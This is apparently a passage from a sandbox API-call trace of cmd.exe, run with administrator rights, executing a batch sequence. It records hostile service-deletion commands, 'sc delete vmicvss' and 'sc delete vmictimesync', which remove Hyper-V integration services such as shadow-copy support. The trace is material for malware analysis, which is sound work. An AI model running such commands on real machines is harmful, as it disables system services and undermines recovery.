returned 1 [0063.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmictimesync\n\nface\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmictimesync\n\nface\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmictimesync\n\nface\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmictimesync\n\nface\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmictimesync\n\nface\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmictimesync\n\nface\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vmictimesync\n\nface\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mictimesync\n\nface\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ictimesync\n\nface\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="ctimesync\n\nface\n") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="vimesync\n\nface\n") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="smesync\n\nface\n") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="sesync\n\nface\n") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="\nsync\n\nface\n") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.957] GetFileType (hFile=0xb8) returned 0x3 [0063.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.958] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.958] GetFileType (hFile=0x120) returned 0x3 [0063.958] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicvss\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicvss\n", lpUsedDefaultChar=0x0) returned 19 [0063.958] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x12, lpOverlapped=0x0) returned 1 [0063.958] GetProcessHeap () returned 0x1b0000 [0063.958] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d2630 [0063.958] GetProcessHeap () returned 0x1b0000 [0063.958] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d2630 | out: hHeap=0x1b0000) returned 1 [0063.958] GetProcessHeap () returned 0x1b0000 [0063.958] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0063.958] GetProcessHeap () returned 0x1b0000 [0063.958] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0063.959] GetProcessHeap () returned 0x1b0000 [0063.959] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6510 [0063.959] GetConsoleOutputCP () returned 0x1b5 [0063.960] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.960] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.961] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.961] GetProcessHeap () returned 0x1b0000 [0063.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0063.961] GetProcessHeap () returned 0x1b0000 [0063.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6550 [0063.961] GetProcessHeap () returned 0x1b0000 [0063.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0063.961] SetErrorMode (uMode=0x0) returned 0x1 [0063.961] SetErrorMode (uMode=0x1) returned 0x0 [0063.961] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0063.961] SetErrorMode (uMode=0x1) returned 0x1 [0063.961] GetProcessHeap () returned 0x1b0000 [0063.961] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0063.962] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.962] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0063.962] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0063.962] GetProcessHeap () returned 0x1b0000 [0063.962] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0063.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.962] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.963] GetLastError () returned 0x2 [0063.963] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.963] GetLastError () returned 0x2 [0063.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.963] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.963] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.963] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.963] GetLastError () returned 0x2 [0063.963] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.964] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.964] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0063.964] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0063.964] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.964] GetProcessHeap () returned 0x1b0000 [0063.964] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0063.964] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.964] GetProcessHeap () returned 0x1b0000 [0063.964] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9c) returned 0x1c9180 [0063.964] GetProcessHeap () returned 0x1b0000 [0063.964] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9c [0063.964] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicvss") returned 1 [0063.965] GetProcessHeap () returned 0x1b0000 [0063.965] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0063.965] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0063.965] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0063.965] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0063.965] GetProcessHeap () returned 0x1b0000 [0063.965] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.966] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.966] GetProcessHeap () returned 0x1b0000 [0063.966] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0063.966] GetProcessHeap () returned 0x1b0000 [0063.966] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0063.966] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicvss", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicvss", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmicvss", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x888, dwThreadId=0x898)) returned 1 [0063.970] CloseHandle (hObject=0x54) returned 1 [0063.970] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.970] GetProcessHeap () returned 0x1b0000 [0063.970] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0063.970] GetEnvironmentStringsW () returned 0x1cba90* [0063.970] GetProcessHeap () returned 0x1b0000 [0063.970] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0063.970] FreeEnvironmentStringsW (penv=0x1cba90) returned 1 [0063.970] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0063.970] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0063.970] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0064.164] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.164] CloseHandle (hObject=0x50) returned 1 [0064.164] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.164] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.164] GetProcessHeap () returned 0x1b0000 [0064.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.164] GetEnvironmentStringsW () returned 0x1cba90* [0064.164] GetProcessHeap () returned 0x1b0000 [0064.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.164] FreeEnvironmentStringsW (penv=0x1cba90) returned 1 [0064.164] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.164] GetProcessHeap () returned 0x1b0000 [0064.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.164] GetEnvironmentStringsW () returned 0x1cba90* [0064.164] GetProcessHeap () returned 0x1b0000 [0064.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.164] FreeEnvironmentStringsW (penv=0x1cba90) returned 1 [0064.164] GetProcessHeap () returned 0x1b0000 [0064.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.164] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.165] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.165] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.165] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.165] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.165] GetConsoleMode (in: hConsoleHandle=0x120, 